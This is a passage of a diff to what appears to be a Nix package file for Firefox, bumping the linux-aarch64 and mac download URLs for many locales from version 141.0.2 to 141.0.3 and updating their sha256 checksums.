+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/ka/firefox-141.0.3.tar.xz";
       locale = "ka";
       arch = "linux-aarch64";
-      sha256 = "aa10a9cd01ed5f1c38cb6b1a8c2ab55eefcb0b1b1ca33df81fdf5b3f4a6ff738";
+      sha256 = "a15891832d9a4b3292ddea9af8f00f3236f8d86e449d25ca6304d9443562701d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/kab/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/kab/firefox-141.0.3.tar.xz";
       locale = "kab";
       arch = "linux-aarch64";
-      sha256 = "5c379b6b954ac2351aadeed26f06751742a5fcb266d0d3c02171c513e04b37bf";
+      sha256 = "5666b4d761937363129e65e562a4add2544a15d9cc1bcfca9187e7c925fa3055";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/kk/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/kk/firefox-141.0.3.tar.xz";
       locale = "kk";
       arch = "linux-aarch64";
-      sha256 = "344ada72a6c6ae539d7738d764bf89c07234d408749467df55eb9cc4b850bd0b";
+      sha256 = "44aa7cf2dd4234ea2906cb13ac699049d24024f4ea8861a436ca262ac18474b5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/km/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/km/firefox-141.0.3.tar.xz";
       locale = "km";
       arch = "linux-aarch64";
-      sha256 = "b55ba6c19661592eef2690cc92c661c6720fff55c53ec847ab8ac59620fec1ba";
+      sha256 = "ae88cb2e0238b0202f70e69f67308ce8a690cd34fa9dd40d7f21b95060029a60";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/kn/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/kn/firefox-141.0.3.tar.xz";
       locale = "kn";
       arch = "linux-aarch64";
-      sha256 = "0b64205f996b7f3b102fe38512eb89e2d2c533e7a8d36b48c567d811c9666190";
+      sha256 = "9bcd17d43243bf9839ea796449191f964fe4c267d6567c86e478f366996922f6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/ko/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/ko/firefox-141.0.3.tar.xz";
       locale = "ko";
       arch = "linux-aarch64";
-      sha256 = "a57221215ab89396e0b62ad1d17026b1b4661498ad67d6313b79a041f1b1bad7";
+      sha256 = "ad75f49db29cbf6d0c6a1b0fcf5e7d4f477d5d82379d63d0dce1e76afabcc27b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/lij/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/lij/firefox-141.0.3.tar.xz";
       locale = "lij";
       arch = "linux-aarch64";
-      sha256 = "ffbeb7976fe374603f99f34eac2d17346da11e3dd17fd62306e27d43e54acffb";
+      sha256 = "a4ee74dd89f18f4758a5461526e56cfcf77e376d6b84ed98c9d275e803468226";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/lt/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/lt/firefox-141.0.3.tar.xz";
       locale = "lt";
       arch = "linux-aarch64";
-      sha256 = "0d83e820e40889b6d26910a06a5fe5bd9b49fe00a1e1bdeaacf27317db1b798c";
+      sha256 = "c7df8dff34ea79431f0495c22700b770153b78477dee659257220b5f6a6bfc0c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/lv/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/lv/firefox-141.0.3.tar.xz";
       locale = "lv";
       arch = "linux-aarch64";
-      sha256 = "a64bb50fad6a4cd26328732c75889424508c2a20d7c8b680080bb0f25a1a4d44";
+      sha256 = "97f1f668140b6d6b16d0553181d0563759c2fe9f3678e81ddf5a23291efaef47";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/mk/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/mk/firefox-141.0.3.tar.xz";
       locale = "mk";
       arch = "linux-aarch64";
-      sha256 = "29f28aed47464365705778d0cfd7484ae0bf6db4056a09c914036f9b93c0aafa";
+      sha256 = "d1d56e22c94c19e5eee4641831a26662517b44ed73f67ad4cb19211fa6446fd5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/mr/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/mr/firefox-141.0.3.tar.xz";
       locale = "mr";
       arch = "linux-aarch64";
-      sha256 = "4d9a763af4fed2bbab3db9f7f62d36d4244668c60cc4a1b4e1e3ff9b36cbf4b6";
+      sha256 = "a1536650e550302cb646cf45e712248e9204b2c4ace47d601f52fc42b0713b26";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/ms/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/ms/firefox-141.0.3.tar.xz";
       locale = "ms";
       arch = "linux-aarch64";
-      sha256 = "608c5fd15a9232969d5b27c992f0ceadabe3372a628b0dc9e5f780f7e1ab47ab";
+      sha256 = "26621924fd72fd7a4356aa84584fb0fec9b039e45afab7ef0c0aa58f80957b7c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/my/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/my/firefox-141.0.3.tar.xz";
       locale = "my";
       arch = "linux-aarch64";
-      sha256 = "84e5a5fb4d7499895f942375870205b9d2c14307f4bc4c44dd99897dc46982f6";
+      sha256 = "e9ea39c1adce409ce59e2d2d880713a0c1e1ddb0aaaaa19e65f7cf966b9f23f7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/nb-NO/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/nb-NO/firefox-141.0.3.tar.xz";
       locale = "nb-NO";
       arch = "linux-aarch64";
-      sha256 = "a9979aad9b9503040ff15ea84345be448486539561fabb91557b1eaca049476b";
+      sha256 = "a41b45543fd81390aa795d3e153a0618e95586ea1a799906aeb501d36223deb0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/ne-NP/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/ne-NP/firefox-141.0.3.tar.xz";
       locale = "ne-NP";
       arch = "linux-aarch64";
-      sha256 = "be12e9dd6693a875856fc505f2ed3bf78b5aa2710ccadb8f540a8a9b77cb4642";
+      sha256 = "79c1e414427fd4234f5939a9966d417780ad2a82729c6393dc8207664df557d1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/nl/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/nl/firefox-141.0.3.tar.xz";
       locale = "nl";
       arch = "linux-aarch64";
-      sha256 = "d82b7730bbd0f99b21f448933514dc6008ae91a894f00a01086bba167bf44748";
+      sha256 = "63d89fc08a4883f784b321f29753dd23de13f27d89825997ce3dabe28ea46b4e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/nn-NO/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/nn-NO/firefox-141.0.3.tar.xz";
       locale = "nn-NO";
       arch = "linux-aarch64";
-      sha256 = "b6809bdd254e6fad3ca013c95073eb86a4cb5ac5fa2c052fd9aeb66dffce2100";
+      sha256 = "2dccd295049e9b54e8c2d53028d59a31931f8e3009c4ea0ef813d6eab1ddc426";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/oc/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/oc/firefox-141.0.3.tar.xz";
       locale = "oc";
       arch = "linux-aarch64";
-      sha256 = "a74ef7765df4457e464b7f91c3e160cf7d9492d06b400795f3f683c9f744869b";
+      sha256 = "2031f69771f713a9ff58be155cf4b2042441ca601c1af219c9d756c398ebe029";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/pa-IN/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/pa-IN/firefox-141.0.3.tar.xz";
       locale = "pa-IN";
       arch = "linux-aarch64";
-      sha256 = "8fb41812990a366402b8c8d00618a18ea0ba01c60379a7f669cb1cef6ee7ff1d";
+      sha256 = "c50a6727ed9238bb5e4aa26df891e0cbc74812b6d1e67d8b1998fcce241dc354";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/pl/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/pl/firefox-141.0.3.tar.xz";
       locale = "pl";
       arch = "linux-aarch64";
-      sha256 = "452de9a3b2a5a7aaeba69ec022554586df4ad33d96a83342f33534a9f7fc65bb";
+      sha256 = "86cc54c5fbd4a4d1118710d175de9ba04bab9c7a7908c6d3b62fecebea8fe0fe";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/pt-BR/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/pt-BR/firefox-141.0.3.tar.xz";
       locale = "pt-BR";
       arch = "linux-aarch64";
-      sha256 = "69f54263c14e2e5204456aaa8f2c82edc634d39293840f76faae681910594ea2";
+      sha256 = "b1a9417678c3adb378015d6e018077a0568d7a4fa57c76c5c6a9d1132fc3e033";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/pt-PT/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/pt-PT/firefox-141.0.3.tar.xz";
       locale = "pt-PT";
       arch = "linux-aarch64";
-      sha256 = "9555cee9dd4c230d3eb302452f9b7c1663e52e2e6ee5190967a3ea2520ef23ea";
+      sha256 = "f60204eb0e58bba0ce39d8ef14f2b025c98a64e28053b47d20c5388e0e17d7c6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/rm/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/rm/firefox-141.0.3.tar.xz";
       locale = "rm";
       arch = "linux-aarch64";
-      sha256 = "f92808a025f1ef388859c25e853d517ff83a4e52211822b1f6cd6e6ea92ead7b";
+      sha256 = "4cc94554dcb45455c054537f6e353280480bb4d0b1db66e101f1035d4318a6fa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/ro/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/ro/firefox-141.0.3.tar.xz";
       locale = "ro";
       arch = "linux-aarch64";
-      sha256 = "9bc7ada1afa959624871396e346ebe72e6595f6d60c46f44b827564fcd86dad4";
+      sha256 = "67743218f892a0782afe133b6e3c38c119184017f586ae189326a61ff8e97ae7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/ru/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/ru/firefox-141.0.3.tar.xz";
       locale = "ru";
       arch = "linux-aarch64";
-      sha256 = "302f4926cc58e7e305582992e6a967667aa5f2fa4b84fad839f9ce365ef709af";
+      sha256 = "e0efc5f04d2290fc22762da16264a77221dfbf27e69441bf6226145c12928412";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/sat/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/sat/firefox-141.0.3.tar.xz";
       locale = "sat";
       arch = "linux-aarch64";
-      sha256 = "c1b3e28a027f74fc8b2c446b0e1eadc9ced542c65fc4692811da1503cbacbf97";
+      sha256 = "6222d863899d104c1a2d101cb0159a7849bc67be693ed87e971bbcca1a93e95e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/sc/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/sc/firefox-141.0.3.tar.xz";
       locale = "sc";
       arch = "linux-aarch64";
-      sha256 = "972a1be26e1948a9f71c061c0602f02ba79850b6b087cd8f77376c58ab95ecdb";
+      sha256 = "aded2382485893405e06c7a6edce9c2f8253775207948daf00a9269f2e61f428";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/sco/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/sco/firefox-141.0.3.tar.xz";
       locale = "sco";
       arch = "linux-aarch64";
-      sha256 = "eeee96969862edf0d5bc5b33b7156450dfe45881bf26a8f858c08f5a3c17eeec";
+      sha256 = "e6502b6d91e2cf83cc47bdf62c4ae78226156d606b333749d13e112aa1d3c92a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/si/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/si/firefox-141.0.3.tar.xz";
       locale = "si";
       arch = "linux-aarch64";
-      sha256 = "ac9f4293c67b4e8b95400f11436e83f82624b8c947932128f0e6012598af4adb";
+      sha256 = "54c846cb3486bd58a0ff3bb8e671812590be7fad256dbb840e69ec785ce86f51";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/sk/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/sk/firefox-141.0.3.tar.xz";
       locale = "sk";
       arch = "linux-aarch64";
-      sha256 = "f87ccd409d5cd9ee1d61fd65f268f2ef68ebe9e59e232274d2a53a1b6e2c8cb9";
+      sha256 = "ff78517d82566c485f541fb15708e8e625257e02bc620619380b0b3b58d91617";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/skr/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/skr/firefox-141.0.3.tar.xz";
       locale = "skr";
       arch = "linux-aarch64";
-      sha256 = "2fb9aba64ddccd22c17e849649d70a59d9f31b8d7f254fd440c7385a0f363a61";
+      sha256 = "3e5f1a1c932d4dd15212fd9448fe55e54d5a8287d45f22237dbda4554ffb9f12";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/sl/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/sl/firefox-141.0.3.tar.xz";
       locale = "sl";
       arch = "linux-aarch64";
-      sha256 = "0321c64e7ca31b33b6146dc0a58bf12f0b40a41021f6474fc0d604e2951298e4";
+      sha256 = "b6d43db8f84e212bcc84e742802c1d29840dcf0e4f5c78601a3ecf3d7e672a76";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/son/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/son/firefox-141.0.3.tar.xz";
       locale = "son";
       arch = "linux-aarch64";
-      sha256 = "d29eaf3513f2ebc263e353b837fd44d4accfe20024a2cd4cd1c21168fa1ca988";
+      sha256 = "f8e335ff2d1a531401637a50a38d84da3dc8779f835268f52238c1668ad2e8db";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/sq/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/sq/firefox-141.0.3.tar.xz";
       locale = "sq";
       arch = "linux-aarch64";
-      sha256 = "c36c8e914a2324aa8578418ceb8c69025bb76c9c0355060ea8578c9e7fd411cf";
+      sha256 = "f51c81be5da3838fb0b6e23b4d55dde52c5e7a63f617e5a7a7658fd590d13a8d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/sr/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/sr/firefox-141.0.3.tar.xz";
       locale = "sr";
       arch = "linux-aarch64";
-      sha256 = "23c2b1c2f440e3af38a84b808c7b198bd810dc2d48163a6423ecb0860effd404";
+      sha256 = "7a9e6000f2e7bba8e2f6fb77b6935eade017bbf3ed6c57365811173540871384";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/sv-SE/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/sv-SE/firefox-141.0.3.tar.xz";
       locale = "sv-SE";
       arch = "linux-aarch64";
-      sha256 = "71b5631beb92a9d55c11654007db04cc1def5150e89fb2ea710820dbfeb7182e";
+      sha256 = "99c71e04a99b098636d685d596110a68f51701692488679193c0f7fdd8b1c76c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/szl/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/szl/firefox-141.0.3.tar.xz";
       locale = "szl";
       arch = "linux-aarch64";
-      sha256 = "5301b139132ef88dfa24cf168b77a7adca3e59088c2b5946ef3b299224e77c48";
+      sha256 = "0acfda6b3b7fe73a53c572ec423aba18b578d87149d883885ed799bfc8788193";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/ta/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/ta/firefox-141.0.3.tar.xz";
       locale = "ta";
       arch = "linux-aarch64";
-      sha256 = "918452a90ba0d483f145d21c09dd34963e344e60d8a8d69db07b730085954de8";
+      sha256 = "0f229bd2c3b897494e498a1692b6b80f68577ed10d425f7d4e949fb7724a535e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/te/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/te/firefox-141.0.3.tar.xz";
       locale = "te";
       arch = "linux-aarch64";
-      sha256 = "7a0e251ba0562c75385f3eef6b31e9180c1a1fd6002107417c0aae9392bb69a1";
+      sha256 = "b7dd94b4ede4a57552a93957629c47bc02fe19ea149c7f86a0b0cafd403652a2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/tg/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/tg/firefox-141.0.3.tar.xz";
       locale = "tg";
       arch = "linux-aarch64";
-      sha256 = "ef73d73db4f0023f56bce287e7c2e23ab56d2a1d71796ef866d75cc77479e1ee";
+      sha256 = "7eadc936e325cf2918586979197d530a84df3d973a2d278563ce08dfd500c243";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/th/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/th/firefox-141.0.3.tar.xz";
       locale = "th";
       arch = "linux-aarch64";
-      sha256 = "ce115f3e965b257021c6468920c4840fe6148072b9e287a6dca1abd9f1e096da";
+      sha256 = "20a0b7227ab6cb9084f8503062006d91a8fedfdaefa272dd3b6ce58028befb69";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/tl/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/tl/firefox-141.0.3.tar.xz";
       locale = "tl";
       arch = "linux-aarch64";
-      sha256 = "abdad44ee36040ec99c50773a62023551a8394c49e5b1e23f6cf88bb80b7cc87";
+      sha256 = "184eba362e2b6598d64d69a976ca71a16ac4d5d11415488b60e1dfb59546f1b1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/tr/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/tr/firefox-141.0.3.tar.xz";
       locale = "tr";
       arch = "linux-aarch64";
-      sha256 = "a620961b2eda6c145a9de63206dfae92ee875cf78b93d132f8bcc325e139d9b3";
+      sha256 = "994c183a385f3bbc526f0c7ddc769c554b3fcc58cfeea278349568a1355eada0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/trs/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/trs/firefox-141.0.3.tar.xz";
       locale = "trs";
       arch = "linux-aarch64";
-      sha256 = "58f1081fbfe4fe1982c9e496b9dc2b8d1a4ce42bf7f0ea8ee7ad240db104b32a";
+      sha256 = "3f2242f30ebfbe16608b9c9b4ab30c2c0e761b8ea1ce3624af2b0fc19bd03afd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/uk/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/uk/firefox-141.0.3.tar.xz";
       locale = "uk";
       arch = "linux-aarch64";
-      sha256 = "3eaead580a988e3b882f912ec5e953bde8de5196a57bf2330942b13d531c3118";
+      sha256 = "a73a9944efcd02df6607d4591f5d48fedc0f49b1011402489c4100c8334f6ac1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/ur/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/ur/firefox-141.0.3.tar.xz";
       locale = "ur";
       arch = "linux-aarch64";
-      sha256 = "f870e37fc54e9073167eb1642a3c86e47cc4637266dfa4692eaea9b06e7bbc85";
+      sha256 = "bbee6b3acf149d51b806d715fba6fc3d7638255731358b09e1d7084413b3d273";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/uz/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/uz/firefox-141.0.3.tar.xz";
       locale = "uz";
       arch = "linux-aarch64";
-      sha256 = "b27f0eec9137279d52bdbc716be651f8ef6f9443f42a0584b49cdafeb48d19c1";
+      sha256 = "eb7788a8ff0eb8bcf6ac63d8cd3e012296ed15db7fd29db853c65f7173e3784b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/vi/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/vi/firefox-141.0.3.tar.xz";
       locale = "vi";
       arch = "linux-aarch64";
-      sha256 = "5855c745eb57227111a5f3ff8159d2c871b3e3ab63a27ba6c0e2b9ef5f3c342f";
+      sha256 = "b9c3d08683826064b99befd1d9a36c450a0a8292454b233ab25fcae2ddda3e9a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/xh/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/xh/firefox-141.0.3.tar.xz";
       locale = "xh";
       arch = "linux-aarch64";
-      sha256 = "3509f4fa500d8ffbc6736d507820faf9699e010d3f8d8eb19b9a8e26cb33d86e";
+      sha256 = "06dad8694ae5a2b277d3ea2bc9a69a38712c903661cc431c3d84f89659b4e488";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/zh-CN/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/zh-CN/firefox-141.0.3.tar.xz";
       locale = "zh-CN";
       arch = "linux-aarch64";
-      sha256 = "20291eb1c1446548283c8600c9cef4eacfa95b507fec1d85aceebd549006e3b9";
+      sha256 = "df79ba8c1bdfcc3d73fc399bb39cc55ea22f90d37ea953a57b0396b19e75e30c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/zh-TW/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/zh-TW/firefox-141.0.3.tar.xz";
       locale = "zh-TW";
       arch = "linux-aarch64";
-      sha256 = "d7be8d9601b13d9fcd4b1bf35d366d8f58a88a43456118edfd906d1a881d38e5";
+      sha256 = "0e51d372cb39355eeb6ca49990f9c6bc3957035b6b400ad7ac332b8222c7c9b0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/ach/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/ach/Firefox%20141.0.3.dmg";
       locale = "ach";
       arch = "mac";
-      sha256 = "c8ceed34ddb421300e4deecb994878438e55c5d9fc62c71e909b4312daa22fda";
+      sha256 = "fe4ee5f513284a3445cee74c0c27ccc3de519a8cc9266f98028fc1024388ca3c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/af/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/af/Firefox%20141.0.3.dmg";
       locale = "af";
       arch = "mac";
-      sha256 = "2945dfbd71df063dea41f2b3be3e37879ea11392d9185a872c969d6e3b8deb1b";
+      sha256 = "1b262463cd00bc437415b59a8b99cdf389b84b3b58a9f44e9e09721a0d1e5a1a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/an/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/an/Firefox%20141.0.3.dmg";
       locale = "an";
       arch = "mac";
-      sha256 = "90dd4e06702881c552532d56b284f06fc3dc2faec9c8c31806479f3ae3ee7595";
+      sha256 = "e497f070cd27e017620246a476d40b375d78b58f96b9c598b4628e60308b0721";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/ar/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/ar/Firefox%20141.0.3.dmg";
       locale = "ar";
       arch = "mac";
-      sha256 = "57763755f2bcac5494f17bb7dc1c5a2a98d08ad52b826e97f71eeb8e1782da29";
+      sha256 = "a0ec1696a4264fd5c02bc337987cc5c415dca3b0f1f73a0e6f0a5cad6eb3df7e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/ast/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/ast/Firefox%20141.0.3.dmg";
       locale = "ast";
       arch = "mac";
-      sha256 = "aa7964ffe61b9fd5af56498cf3718c267355a06cf24a51a5f5e010c1a9bf9db5";
+      sha256 = "dd68b926e41ddac2badddafd1cc4609cb9b8107bde0f1cd844b359c025d87017";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/az/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/az/Firefox%20141.0.3.dmg";
       locale = "az";
       arch = "mac";
-      sha256 = "86e096b090042802ad149834c64626e76318132d86a9c7fb2b8d3c7f5e9ac7d0";
+      sha256 = "23e82c76b02ebe131cd283ceda8301e8840e0c5e51948282803c303a3d0b84ea";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/be/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/be/Firefox%20141.0.3.dmg";
       locale = "be";
       arch = "mac";
-      sha256 = "3b04faff126954a6175b4cb3f4448f7cce00c0ce446cc317ee965ccef0c0525b";
+      sha256 = "ae607bd09bb790432d4ba77d4914bffe7d8ccb39ffe23fa1dd60fcd70c05fd9d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/bg/Firefox%20141.0.2.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/bg/Firefox%20141.0.3.dmg";
       locale = "bg";
       arch = "mac";
-      sha256 = "9b94151ff7aac5a544ad0eff4ea6982611cdca4987596dbe5bb8a5f67dc3cae4";
+      sha256 = "614f9e3c2a0c30a600e94c96f85ae53c2e9071aed2250a6b10d23093a5ef1a9f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/bn/Firefox%20141.0.2.dmg";
